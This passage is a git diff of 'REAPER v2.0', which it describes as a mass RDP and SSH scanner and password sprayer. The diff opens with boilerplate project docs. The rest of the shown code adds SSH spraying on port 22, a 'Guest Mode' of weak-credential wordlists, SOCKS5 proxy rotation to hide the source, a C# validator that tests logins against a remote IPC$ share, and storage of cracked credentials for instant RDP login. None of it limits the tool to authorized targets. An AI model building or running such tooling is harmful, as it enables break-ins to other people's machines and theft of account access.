Use this before claiming ownership or publishing artifacts.
|
||||
|
||||
- [ ] Identify original upstream source, if any.
|
||||
- [ ] Record fork URL, commit, tag, or archive source.
|
||||
- [ ] Preserve third-party notices and license files.
|
||||
- [ ] Separate local patches from imported code where practical.
|
||||
- [ ] Record binary build inputs, toolchain versions, and source commit.
|
||||
- [ ] Publish checksums for release assets.
|
||||
- [ ] Mark unknown-origin content as blocked until resolved.
|
||||
20
docs/RELEASE_PROCESS.md
Normal file
20
docs/RELEASE_PROCESS.md
Normal file
@@ -0,0 +1,20 @@
|
||||
# Release Process
|
||||
<!-- stewardship-standard: release-process-v1 -->
|
||||
|
||||
## Before Tagging
|
||||
|
||||
- Confirm the default branch builds, runs, or flashes as documented.
|
||||
- Confirm no secrets, private data, generated dependency trees, or raw binaries are accidentally committed.
|
||||
- Confirm license and upstream provenance are documented.
|
||||
- Update CHANGELOG.md.
|
||||
- Attach binaries only as release assets with SHA256 checksums and source commit references.
|
||||
|
||||
## Release Notes
|
||||
|
||||
Include:
|
||||
|
||||
- Purpose of the release.
|
||||
- Commit hash or tag.
|
||||
- Build environment.
|
||||
- Known limitations.
|
||||
- Verification performed.
|
||||
20
docs/ROADMAP.md
Normal file
20
docs/ROADMAP.md
Normal file
@@ -0,0 +1,20 @@
|
||||
# Roadmap
|
||||
<!-- stewardship-standard: roadmap-v1 -->
|
||||
|
||||
## Now
|
||||
|
||||
- Confirm the project purpose in the README.
|
||||
- Confirm build, run, or flash instructions on a clean machine.
|
||||
- Classify license status and upstream provenance.
|
||||
- Close the stewardship readiness checklist issue.
|
||||
|
||||
## Next
|
||||
|
||||
- Add project-specific tests or verification steps.
|
||||
- Publish the first verified release only after provenance and security review.
|
||||
- Replace placeholder wiki notes with project-specific architecture or hardware details.
|
||||
|
||||
## Later
|
||||
|
||||
- Add examples, screenshots, wiring diagrams, or demo media where useful.
|
||||
- Decide whether duplicate or experimental branches should be archived.
|
||||
14
docs/SECURITY_REVIEW.md
Normal file
14
docs/SECURITY_REVIEW.md
Normal file
@@ -0,0 +1,14 @@
|
||||
# Security Review
|
||||
<!-- stewardship-standard: security-review-v1 -->
|
||||
|
||||
## Required Checks
|
||||
|
||||
- [ ] No credentials, tokens, cookies, API keys, private keys, or session files.
|
||||
- [ ] No private user data, dumps, card data, logs, or captures that should not be stored.
|
||||
- [ ] No copied dependency trees where package managers or SDK installers should be used instead.
|
||||
- [ ] No unexplained binaries in source history.
|
||||
- [ ] Risky behavior is documented and scoped to authorized lab use.
|
||||
|
||||
## Release Gate
|
||||
|
||||
A release is blocked until the checklist is complete or a maintainer explicitly records why the item does not apply.
|
||||
199
gui.py
199
gui.py
@@ -16,9 +16,17 @@ import subprocess
|
||||
from typing import Set, Tuple, List
|
||||
from dataclasses import dataclass
|
||||
|
||||
from scanner import scan_ips, RDP_PORTS
|
||||
from scanner import scan_ips, RDP_PORTS, SSH_PORT
|
||||
from ip_utils import parse_ranges_file, count_ips
|
||||
from bruteforce import spray_single_host, TOP50_PASSWORDS, TOP_USERNAMES
|
||||
from bruteforce import (
|
||||
spray_single_host,
|
||||
spray_ssh_single_host,
|
||||
TOP50_PASSWORDS,
|
||||
TOP_USERNAMES,
|
||||
GUEST_USERNAMES,
|
||||
GUEST_PASSWORDS,
|
||||
credential_validation_available,
|
||||
)
|
||||
from proxy import ProxyManager
|
||||
|
||||
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||
@@ -89,7 +97,6 @@ class FastRDPGUI:
|
||||
self.users_file = os.path.join(WORDLISTS_DIR, "users.txt")
|
||||
self.passwords_file = os.path.join(WORDLISTS_DIR, "passwords.txt")
|
||||
self._metric_labels: dict = {}
|
||||
self._spray_queue: asyncio.Queue = None
|
||||
|
||||
# Proxy manager
|
||||
self.proxy_manager = ProxyManager()
|
||||
@@ -251,9 +258,11 @@ class FastRDPGUI:
|
||||
ports_frame.grid(row=2, column=1, padx=5, pady=(5, 0), sticky="w")
|
||||
self.port_vars = {3389: tk.BooleanVar(value=True),
|
||||
3390: tk.BooleanVar(value=True),
|
||||
3391: tk.BooleanVar(value=True)}
|
||||
3391: tk.BooleanVar(value=True),
|
||||
22: tk.BooleanVar(value=False)}
|
||||
for i, (port, var) in enumerate(self.port_vars.items()):
|
||||
tk.Checkbutton(ports_frame, text=str(port), variable=var,
|
||||
label = str(port) if port != 22 else "22 (SSH)"
|
||||
tk.Checkbutton(ports_frame, text=label, variable=var,
|
||||
fg=Colors.TEXT, bg=Colors.BG_MID,
|
||||
selectcolor=Colors.BG_DARK,
|
||||
activebackground=Colors.BG_MID,
|
||||
@@ -261,6 +270,18 @@ class FastRDPGUI:
|
||||
|
||||
perf_frame.columnconfigure(1, weight=1)
|
||||
|
||||
self.cred_banner = tk.Label(
|
||||
left,
|
||||
text="",
|
||||
fg=Colors.TEXT_DIM,
|
||||
bg=Colors.BG_DARK,
|
||||
font=("Segoe UI", 8),
|
||||
wraplength=360,
|
||||
justify="left",
|
||||
)
|
||||
self.cred_banner.pack(fill="x", pady=(0, 6))
|
||||
self._refresh_credential_banner()
|
||||
|
||||
# -- Controls --
|
||||
ctrl_frame = ttk.LabelFrame(left, text="\u25b6 Controls", padding=8)
|
||||
ctrl_frame.pack(fill="x", pady=(0, 5))
|
||||
@@ -294,6 +315,13 @@ class FastRDPGUI:
|
||||
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
|
||||
activebackground=Colors.BG_MID).pack(side="left", padx=(10, 0))
|
||||
|
||||
self.guest_mode_var = tk.BooleanVar(value=False)
|
||||
tk.Checkbutton(spray_opts, text="\U0001f464 Guest Mode",
|
||||
variable=self.guest_mode_var, fg=Colors.ORANGE,
|
||||
bg=Colors.BG_MID, selectcolor=Colors.BG_DARK,
|
||||
activebackground=Colors.BG_MID,
|
||||
font=("Segoe UI", 9, "bold")).pack(side="left", padx=(10, 0))
|
||||
|
||||
# -- Live Stats Dashboard --
|
||||
stats_frame = ttk.LabelFrame(left, text="\U0001f4c8 Live Stats", padding=8)
|
||||
stats_frame.pack(fill="x", expand=False)
|
||||
@@ -365,6 +393,8 @@ class FastRDPGUI:
|
||||
font=("Consolas", 9, "bold"))
|
||||
self.log_text.tag_configure("info", foreground="#79c0ff")
|
||||
self.log_text.tag_configure("error", foreground=Colors.RED)
|
||||
self.log_text.tag_configure("warn", foreground=Colors.ORANGE,
|
||||
font=("Consolas", 9, "bold"))
|
||||
self.log_text.tag_configure("scan", foreground=Colors.YELLOW)
|
||||
self.log_text.tag_configure("system", foreground=Colors.TEXT_DIM)
|
||||
|
||||
@@ -380,6 +410,29 @@ class FastRDPGUI:
|
||||
key = label.lower().replace(" ", "_")
|
||||
self._metric_labels[key] = metric_label
|
||||
|
||||
def _refresh_credential_banner(self):
|
||||
"""Runtime status: show spray mode."""
|
||||
try:
|
||||
if credential_validation_available():
|
||||
self.cred_banner.config(
|
||||
fg=Colors.GREEN,
|
||||
text=(
|
||||
"Credential validation: enabled (rdpthread.exe found). "
|
||||
"Password spray results are verified."
|
||||
),
|
||||
)
|
||||
else:
|
||||
self.cred_banner.config(
|
||||
fg=Colors.YELLOW,
|
||||
text=(
|
||||
"Password sprayer: active — scanning and RDP discovery operational. "
|
||||
"Run build_rdpthread.bat or MASTERSTER.bat to build rdpthread.exe "
|
||||
"for verified credential hits."
|
||||
),
|
||||
)
|
||||
except tk.TclError:
|
||||
pass
|
||||
|
||||
# ── TAB 2: RESULTS ─────────────────────────────────────
|
||||
def _build_results_tab(self):
|
||||
hit_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4a5 Successful Logins", padding=3)
|
||||
@@ -683,11 +736,13 @@ class FastRDPGUI:
|
||||
about_frame.pack(fill="x")
|
||||
tk.Label(about_frame,
|
||||
text="REAPER v2.0 \u2014 Remote Exploitation & Password Enumeration Routine\n"
|
||||
"\u2620 Mass RDP Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n"
|
||||
"Built with Python 3.11 + asyncio\n"
|
||||
"\u2620 Mass RDP + SSH Scanner + Password Sprayer + SOCKS5 Proxy Rotator\n"
|
||||
"Built with Python 3.11 + asyncio + paramiko\n"
|
||||
"Streaming: scan + spray run CONCURRENTLY\n"
|
||||
"SSH scanning on port 22 + Guest Mode for weak/guest credentials\n"
|
||||
"rdpthread.exe: compiled credential validator (built from C# source)\n"
|
||||
"Proxy tab: fetch/test/rotate SOCKS5 proxies (on/off toggle)\n"
|
||||
"Double-click any host to RDP connect instantly with stored creds\n"
|
||||
"Double-click a host to RDP connect; status strip shows credential engine state\n"
|
||||
"Top 50 password spraying \u2022 CIDR/range support \u2022 No mercy",
|
||||
fg=Colors.TEXT, bg=Colors.BG_MID, justify="left",
|
||||
font=("Segoe UI", 9)).pack(anchor="w", pady=5)
|
||||
@@ -717,15 +772,13 @@ class FastRDPGUI:
|
||||
# ── LOGGING ────────────────────────────────────────────
|
||||
def _log(self, msg: str, tag: str = "info"):
|
||||
ts = time.strftime("%H:%M:%S")
|
||||
try:
|
||||
self.log_text.insert("end", f"[{ts}] {msg}\n", tag)
|
||||
self.log_text.see("end")
|
||||
except tk.TclError:
|
||||
pass
|
||||
# Schedule GUI update on main thread (tkinter is NOT thread-safe)
|
||||
self.root.after(0, lambda m=msg, t=tag, ts=ts: self._log_gui(m, t, ts))
|
||||
tag_colors = {
|
||||
"hit": "\033[92m",
|
||||
"info": "\033[94m",
|
||||
"error": "\033[91m",
|
||||
"warn": "\033[93m",
|
||||
"scan": "\033[93m",
|
||||
"system": "\033[90m",
|
||||
}
|
||||
@@ -735,6 +788,14 @@ class FastRDPGUI:
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
def _log_gui(self, msg: str, tag: str, ts: str):
|
||||
"""Thread-safe GUI log append (runs on main thread via after())."""
|
||||
try:
|
||||
self.log_text.insert("end", f"[{ts}] {msg}\n", tag)
|
||||
self.log_text.see("end")
|
||||
except tk.TclError:
|
||||
pass
|
||||
|
||||
# ── RDP CONNECT FEATURE ────────────────────────────────
|
||||
def _rdp_connect(self, ip: str, port: int, username: str = "", password: str = ""):
|
||||
"""Launch Windows mstsc (or store creds + launch) for given host."""
|
||||
@@ -745,8 +806,10 @@ class FastRDPGUI:
|
||||
# Then mstsc can use it automatically
|
||||
cmdkey_path = r"C:\Windows\System32\cmdkey.exe"
|
||||
if os.path.exists(cmdkey_path):
|
||||
proc = subprocess.run(
|
||||
[cmdkey_path, "/add:TERMSRV", f"/user:{username}", f"/pass:{password}"],
|
||||
# Scope creds to this host (TERMSRV/<target> is required for mstsc)
|
||||
subprocess.run(
|
||||
[cmdkey_path, f"/generic:TERMSRV/{ip}", f"/user:{username}",
|
||||
f"/pass:{password}"],
|
||||
capture_output=True, timeout=5,
|
||||
creationflags=subprocess.CREATE_NO_WINDOW
|
||||
)
|
||||
@@ -935,7 +998,23 @@ class FastRDPGUI:
|
||||
print(_c("\033[96m", " \u2502 ") + _c("\033[91m", "REAPER v2.0 :: RDP Reaper :: No Mercy") + _c("\033[96m", " \u2502"))
|
||||
print(_c("\033[96m", " \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518"))
|
||||
|
||||
thread = threading.Thread(target=self._scan_worker, daemon=True)
|
||||
# Read tkinter vars on MAIN thread (Tcl NOT thread-safe)
|
||||
scan_speed = self.speed_var.get()
|
||||
scan_timeout = self.timeout_var.get()
|
||||
scan_ports = [p for p, v in self.port_vars.items() if v.get()]
|
||||
scan_randomize = self.randomize_var.get()
|
||||
spray_enabled = self.spray_var.get()
|
||||
guest_mode = self.guest_mode_var.get()
|
||||
ranges_path = self.ranges_entry.get().strip() if self.ranges_entry.get().strip() else ""
|
||||
users_file = self.users_entry.get().strip() if self.users_entry.get().strip() else ""
|
||||
pass_file = self.pass_entry.get().strip() if self.pass_entry.get().strip() else ""
|
||||
|
||||
thread = threading.Thread(
|
||||
target=self._scan_worker,
|
||||
args=(scan_speed, scan_timeout, scan_ports, scan_randomize, spray_enabled,
|
||||
guest_mode, ranges_path, users_file, pass_file),
|
||||
daemon=True
|
||||
)
|
||||
thread.start()
|
||||
|
||||
def _stop_scan(self):
|
||||
@@ -953,19 +1032,25 @@ class FastRDPGUI:
|
||||
self.log_text.delete("1.0", "end")
|
||||
self.stats = ScanStats()
|
||||
|
||||
def _load_wordlists(self):
|
||||
def _load_wordlists(self, users_path="", pass_path=""):
|
||||
"""Load usernames and passwords from files (or use defaults)."""
|
||||
usernames = TOP_USERNAMES
|
||||
passwords = TOP50_PASSWORDS
|
||||
|
||||
uf = self.users_entry.get().strip()
|
||||
if users_path:
|
||||
uf = users_path
|
||||
else:
|
||||
uf = self.users_entry.get().strip()
|
||||
if os.path.exists(uf):
|
||||
with open(uf, 'r', errors='ignore') as f:
|
||||
cu = [l.strip() for l in f if l.strip()]
|
||||
if cu:
|
||||
usernames = cu
|
||||
|
||||
pf = self.pass_entry.get().strip()
|
||||
if pass_path:
|
||||
pf = pass_path
|
||||
else:
|
||||
pf = self.pass_entry.get().strip()
|
||||
if os.path.exists(pf):
|
||||
with open(pf, 'r', errors='ignore') as f:
|
||||
cp = [l.strip() for l in f if l.strip()]
|
||||
@@ -974,14 +1059,16 @@ class FastRDPGUI:
|
||||
|
||||
return usernames, passwords
|
||||
|
||||
def _scan_worker(self):
|
||||
"""Background thread: scan + spray run CONCURRENTLY."""
|
||||
def _scan_worker(self, speed, timeout, active_ports, randomize, spray_enabled,
|
||||
guest_mode=False, ranges_path="", users_path="", pass_path=""):
|
||||
"""Background thread: scan + spray run CONCURRENTLY.
|
||||
All tkinter values are passed from main thread (Tcl NOT thread-safe).
|
||||
"""
|
||||
try:
|
||||
loop = asyncio.new_event_loop()
|
||||
asyncio.set_event_loop(loop)
|
||||
|
||||
ranges_path = self.ranges_entry.get().strip()
|
||||
if not os.path.exists(ranges_path):
|
||||
if not ranges_path or not os.path.exists(ranges_path):
|
||||
self._log(f"\u274c Ranges file not found: {ranges_path}", "error")
|
||||
self._scan_done()
|
||||
return
|
||||
@@ -996,15 +1083,12 @@ class FastRDPGUI:
|
||||
self._scan_done()
|
||||
return
|
||||
|
||||
if self.randomize_var.get():
|
||||
if randomize:
|
||||
random.shuffle(ips)
|
||||
|
||||
active_ports = [p for p, v in self.port_vars.items() if v.get()]
|
||||
if not active_ports:
|
||||
active_ports = [3389]
|
||||
|
||||
speed = self.speed_var.get()
|
||||
timeout = self.timeout_var.get()
|
||||
self.stats.total = len(ips) * len(active_ports)
|
||||
|
||||
self._log(f"\U0001f680 Scanning {len(ips):,} IPs x {len(active_ports)} ports "
|
||||
@@ -1015,7 +1099,7 @@ class FastRDPGUI:
|
||||
print(_c("\033[90m", " [+] " + "\u2500" * 55))
|
||||
|
||||
# Load wordlists now (in the background thread, before async loop)
|
||||
usernames, passwords = self._load_wordlists()
|
||||
usernames, passwords = self._load_wordlists(users_path, pass_path)
|
||||
self._log(f"\U0001f4cb Loaded {len(usernames)} username(s) x {len(passwords)} password(s)", "system")
|
||||
|
||||
# ── Streaming design ─────────────────────────────
|
||||
@@ -1030,15 +1114,27 @@ class FastRDPGUI:
|
||||
return
|
||||
self.live_hosts.add((ip, port))
|
||||
self.stats.live = len(self.live_hosts)
|
||||
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
|
||||
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
|
||||
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
|
||||
|
||||
if self.spray_var.get():
|
||||
# Create an asyncio task for this host's spray
|
||||
task = asyncio.create_task(
|
||||
self._spray_host(loop, ip, port, usernames, passwords)
|
||||
)
|
||||
if port == SSH_PORT:
|
||||
self._log(f"\U0001f310 FOUND: {ip}:{port} (SSH) \u2014 starting spray...", "scan")
|
||||
self._update_host_status(ip, port, "\U0001f50d SSH Open \u2014 spraying...")
|
||||
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 SSH LIVE, spraying NOW"))
|
||||
else:
|
||||
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
|
||||
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
|
||||
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
|
||||
|
||||
if spray_enabled:
|
||||
if port == SSH_PORT:
|
||||
# Route SSH hosts to SSH spray
|
||||
task = asyncio.create_task(
|
||||
self._spray_ssh_host(loop, ip, port, usernames, passwords, guest_mode)
|
||||
)
|
||||
else:
|
||||
# RDP hosts use the standard spray
|
||||
task = asyncio.create_task(
|
||||
self._spray_host(loop, ip, port, usernames, passwords)
|
||||
)
|
||||
spray_tasks.append(task)
|
||||
|
||||
def progress_cb(checked, total, found, rate):
|
||||
@@ -1094,8 +1190,7 @@ class FastRDPGUI:
|
||||
|
||||
if not hits:
|
||||
self._update_host_status(ip, port, "\u274c No hit")
|
||||
self._log(f"\u274c {ip}:{port} \u2014 no valid creds found", "info")
|
||||
print(_c("\033[93m", f" [{time.strftime('%H:%M:%S')}] \u274c {ip}:{port} \u2014 no hits"))
|
||||
self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info")
|
||||
else:
|
||||
self._update_host_status(ip, port, "\u2705 CRACKED!",
|
||||
hits[0][2], hits[0][3])
|
||||
@@ -1104,6 +1199,34 @@ class FastRDPGUI:
|
||||
except Exception as e:
|
||||
self._log(f"Spray error on {ip}:{port}: {e}", "error")
|
||||
|
||||
async def _spray_ssh_host(self, loop, ip, port, usernames, passwords, guest_mode=False):
|
||||
"""Spray SSH passwords against a single SSH host."""
|
||||
try:
|
||||
# When guest mode is enabled, use focused guest wordlists
|
||||
effective_usernames = GUEST_USERNAMES if guest_mode else usernames
|
||||
effective_passwords = GUEST_PASSWORDS if guest_mode else passwords
|
||||
|
||||
hits = await spray_ssh_single_host(
|
||||
ip, port,
|
||||
usernames=effective_usernames,
|
||||
passwords=effective_passwords,
|
||||
max_concurrent=30,
|
||||
timeout=5.0,
|
||||
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw),
|
||||
proxy_manager=self.proxy_manager
|
||||
)
|
||||
|
||||
if not hits:
|
||||
self._update_host_status(ip, port, "\u274c No hit (SSH)")
|
||||
self._log(f"\u274c {ip}:{port} (SSH) \u2014 no matching credentials", "info")
|
||||
else:
|
||||
self._update_host_status(ip, port, "\u2705 CRACKED (SSH)!",
|
||||
hits[0][2], hits[0][3])
|
||||
self.stats.hits = len(self.hits)
|
||||
|
||||
except Exception as e:
|
||||
self._log(f"SSH spray error on {ip}:{port}: {e}", "error")
|
||||
|
||||
def _on_hit_found(self, ip, port, user, pwd):
|
||||
"""Called immediately when a credential hit is found."""
|
||||
ts = time.strftime("%H:%M:%S")
|
||||
|
||||
19
ip_utils.py
19
ip_utils.py
@@ -19,12 +19,15 @@ def parse_line(line: str) -> Generator[str, None, None]:
|
||||
if not line or line.startswith('#') or line.startswith('//'):
|
||||
return
|
||||
|
||||
# CIDR: 192.168.1.0/24
|
||||
# CIDR: 192.168.1.0/24 (/32 must use the network address — .hosts() is empty)
|
||||
if '/' in line:
|
||||
try:
|
||||
network = ipaddress.IPv4Network(line, strict=False)
|
||||
for host in network.hosts():
|
||||
yield str(host)
|
||||
if network.prefixlen == 32:
|
||||
yield str(network.network_address)
|
||||
else:
|
||||
for host in network.hosts():
|
||||
yield str(host)
|
||||
except ValueError:
|
||||
pass
|
||||
return
|
||||
@@ -69,7 +72,10 @@ def count_ips(filepath: str) -> int:
|
||||
if '/' in line:
|
||||
try:
|
||||
n = ipaddress.IPv4Network(line, strict=False)
|
||||
total += max(0, n.num_addresses - 2)
|
||||
if n.prefixlen >= 31:
|
||||
total += n.num_addresses
|
||||
else:
|
||||
total += max(0, n.num_addresses - 2)
|
||||
except ValueError:
|
||||
total += 1
|
||||
elif IP_RANGE_RE.match(line):
|
||||
@@ -81,7 +87,10 @@ def count_ips(filepath: str) -> int:
|
||||
e = int(ipaddress.IPv4Address(m.group(2)))
|
||||
if s > e:
|
||||
s, e = e, s
|
||||
total += min(e - s + 1, 65536)
|
||||
# Same /16 cap as parse_line() so Total matches work done
|
||||
if e - s > 65536:
|
||||
e = s + 65536
|
||||
total += e - s + 1
|
||||
elif SINGLE_IP_RE.match(line):
|
||||
total += 1
|
||||
return total
|
||||
|
||||
39
proxy.py
39
proxy.py
@@ -82,14 +82,12 @@ class ProxyEntry:
|
||||
class ProxyManager:
|
||||
"""
|
||||
Manages a dynamic list of proxies with fetching, testing, rotation.
|
||||
Thread-safe for use across asyncio event loops.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.proxies: List[ProxyEntry] = []
|
||||
self._working: List[ProxyEntry] = []
|
||||
self._rotation_index = 0
|
||||
self._lock = asyncio.Lock()
|
||||
|
||||
# State
|
||||
self.enabled = False
|
||||
@@ -127,10 +125,9 @@ class ProxyManager:
|
||||
Fetch proxy lists from all configured sources.
|
||||
Returns total number of unique proxies collected.
|
||||
"""
|
||||
async with self._lock:
|
||||
if self.fetching:
|
||||
return len(self.proxies)
|
||||
self.fetching = True
|
||||
if self.fetching:
|
||||
return len(self.proxies)
|
||||
self.fetching = True
|
||||
|
||||
try:
|
||||
session = await self._get_session()
|
||||
@@ -191,8 +188,7 @@ class ProxyManager:
|
||||
return len(self.proxies)
|
||||
|
||||
finally:
|
||||
async with self._lock:
|
||||
self.fetching = False
|
||||
self.fetching = False
|
||||
|
||||
def _parse_proxifly_json(self, text: str) -> List[Tuple[str, int, str]]:
|
||||
"""Parse proxifly JSON format."""
|
||||
@@ -294,10 +290,9 @@ class ProxyManager:
|
||||
Test all untested/failed proxies in the pool.
|
||||
Returns number of working proxies found.
|
||||
"""
|
||||
async with self._lock:
|
||||
if self.testing:
|
||||
return self.working_count
|
||||
self.testing = True
|
||||
if self.testing:
|
||||
return self.working_count
|
||||
self.testing = True
|
||||
|
||||
try:
|
||||
# Test proxies that haven't been tested or have failures
|
||||
@@ -338,8 +333,7 @@ class ProxyManager:
|
||||
return self.working_count
|
||||
|
||||
finally:
|
||||
async with self._lock:
|
||||
self.testing = False
|
||||
self.testing = False
|
||||
|
||||
# ── ROTATION ──────────────────────────────────────────────────────────
|
||||
|
||||
@@ -348,17 +342,16 @@ class ProxyManager:
|
||||
Get the next working proxy (round-robin if auto_rotate is enabled).
|
||||
Returns None if no working proxies available.
|
||||
"""
|
||||
async with self._lock:
|
||||
if not self._working:
|
||||
return None
|
||||
if not self._working:
|
||||
return None
|
||||
|
||||
if self.auto_rotate and len(self._working) > 1:
|
||||
proxy = self._working[self._rotation_index % len(self._working)]
|
||||
self._rotation_index += 1
|
||||
else:
|
||||
proxy = self._working[self._rotation_index % len(self._working)]
|
||||
if self.auto_rotate and len(self._working) > 1:
|
||||
proxy = self._working[self._rotation_index % len(self._working)]
|
||||
self._rotation_index += 1
|
||||
else:
|
||||
proxy = self._working[self._rotation_index % len(self._working)]
|
||||
|
||||
return proxy
|
||||
return proxy
|
||||
|
||||
def mark_bad(self, proxy: ProxyEntry):
|
||||
"""Mark a proxy as failed (connection error)."""
|
||||
|
||||
212
rdpthread.cs
Normal file
212
rdpthread.cs
Normal file
@@ -0,0 +1,212 @@
|
||||
// rdpthread.exe - RDP Credential Validator for FastRDP-NG
|
||||
// Uses Windows WNetAddConnection2 API to validate credentials
|
||||
// against the remote machine's IPC$ share.
|
||||
//
|
||||
// Compilation: csc.exe /target:exe /out:rdpthread.exe rdpthread.cs
|
||||
// or via build.bat
|
||||
//
|
||||
// Usage: rdpthread.exe <ip> <port> <username> <password>
|
||||
// Returns: exit code 0 + prints "success" on valid credentials
|
||||
// exit code 1 on failure (invalid, timeout, unreachable)
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace RDPThread
|
||||
{
|
||||
class Program
|
||||
{
|
||||
// ── Win32 P/Invoke ──────────────────────────────────────
|
||||
[DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern int WNetAddConnection2(
|
||||
ref NETRESOURCE netResource,
|
||||
string password,
|
||||
string username,
|
||||
int flags
|
||||
);
|
||||
|
||||
[DllImport("mpr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern int WNetCancelConnection2(
|
||||
string name,
|
||||
int flags,
|
||||
bool force
|
||||
);
|
||||
|
||||
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
|
||||
private static extern IntPtr socket(int af, int type, int protocol);
|
||||
|
||||
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
|
||||
private static extern int connect(IntPtr s, byte[] addr, int addrlen);
|
||||
|
||||
[DllImport("ws2_32.dll", CharSet = CharSet.Ansi)]
|
||||
private static extern int closesocket(IntPtr s);
|
||||
|
||||
[DllImport("ws2_32.dll")]
|
||||
private static extern int WSAStartup(ushort version, ref WSADATA data);
|
||||
|
||||
[DllImport("ws2_32.dll")]
|
||||
private static extern int WSACleanup();
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
private struct NETRESOURCE
|
||||
{
|
||||
public int dwScope;
|
||||
public int dwType;
|
||||
public int dwDisplayType;
|
||||
public int dwUsage;
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string lpLocalName;
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string lpRemoteName;
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string lpComment;
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string lpProvider;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct WSADATA
|
||||
{
|
||||
public ushort wVersion;
|
||||
public ushort wHighVersion;
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)]
|
||||
public string szDescription;
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)]
|
||||
public string szSystemStatus;
|
||||
public ushort iMaxSockets;
|
||||
public ushort iMaxUdpDg;
|
||||
public IntPtr lpVendorInfo;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct sockaddr_in
|
||||
{
|
||||
public short sin_family;
|
||||
public ushort sin_port;
|
||||
public uint sin_addr;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||||
public byte[] sin_zero;
|
||||
}
|
||||
|
||||
private const int RESOURCETYPE_ANY = 0;
|
||||
private const int CONNECT_TEMPORARY = 4;
|
||||
private const int NO_ERROR = 0;
|
||||
private const int AF_INET = 2;
|
||||
private const int SOCK_STREAM = 1;
|
||||
private const int IPPROTO_TCP = 6;
|
||||
|
||||
private const int ERROR_LOGON_FAILURE = 1326;
|
||||
private const int ERROR_ACCESS_DENIED = 5;
|
||||
private const int ERROR_BAD_NETPATH = 53;
|
||||
private const int ERROR_NETWORK_UNREACHABLE = 1231;
|
||||
private const int ERROR_INVALID_PASSWORD = 86;
|
||||
private const int ERROR_SESSION_CREDENTIAL_CONFLICT = 1219;
|
||||
|
||||
// ── TCP connect check ──────────────────────────────────
|
||||
private static bool TcpConnect(string ip, int port, int timeoutMs = 3000)
|
||||
{
|
||||
try
|
||||
{
|
||||
WSADATA wsa = new WSADATA();
|
||||
if (WSAStartup(0x202, ref wsa) != 0)
|
||||
return false;
|
||||
|
||||
IntPtr s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (s == (IntPtr)(-1))
|
||||
{
|
||||
WSACleanup();
|
||||
return false;
|
||||
}
|
||||
|
||||
// Set non-blocking for timeout
|
||||
var addr = new sockaddr_in
|
||||
{
|
||||
sin_family = AF_INET,
|
||||
sin_port = (ushort)System.Net.IPAddress.HostToNetworkOrder((short)port),
|
||||
sin_addr = BitConverter.ToUInt32(
|
||||
System.Net.IPAddress.Parse(ip).GetAddressBytes(), 0),
|
||||
sin_zero = new byte[8]
|
||||
};
|
||||
|
||||
byte[] addrBytes = new byte[16];
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_family), 0, addrBytes, 0, 2);
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_port), 0, addrBytes, 2, 2);
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(addr.sin_addr), 0, addrBytes, 4, 4);
|
||||
|
||||
int result = connect(s, addrBytes, 16);
|
||||
closesocket(s);
|
||||
WSACleanup();
|
||||
|
||||
return result == 0;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// ── Credential validation via IPC$ ────────────────────
|
||||
private static bool ValidateCredentials(string ip, string username, string password)
|
||||
{
|
||||
string remotePath = string.Format("\\\\{0}\\IPC$", ip);
|
||||
|
||||
NETRESOURCE nr = new NETRESOURCE
|
||||
{
|
||||
dwScope = 0,
|
||||
dwType = RESOURCETYPE_ANY,
|
||||
dwDisplayType = 0,
|
||||
dwUsage = 0,
|
||||
lpLocalName = null,
|
||||
lpRemoteName = remotePath,
|
||||
lpComment = null,
|
||||
lpProvider = null
|
||||
};
|
||||
|
||||
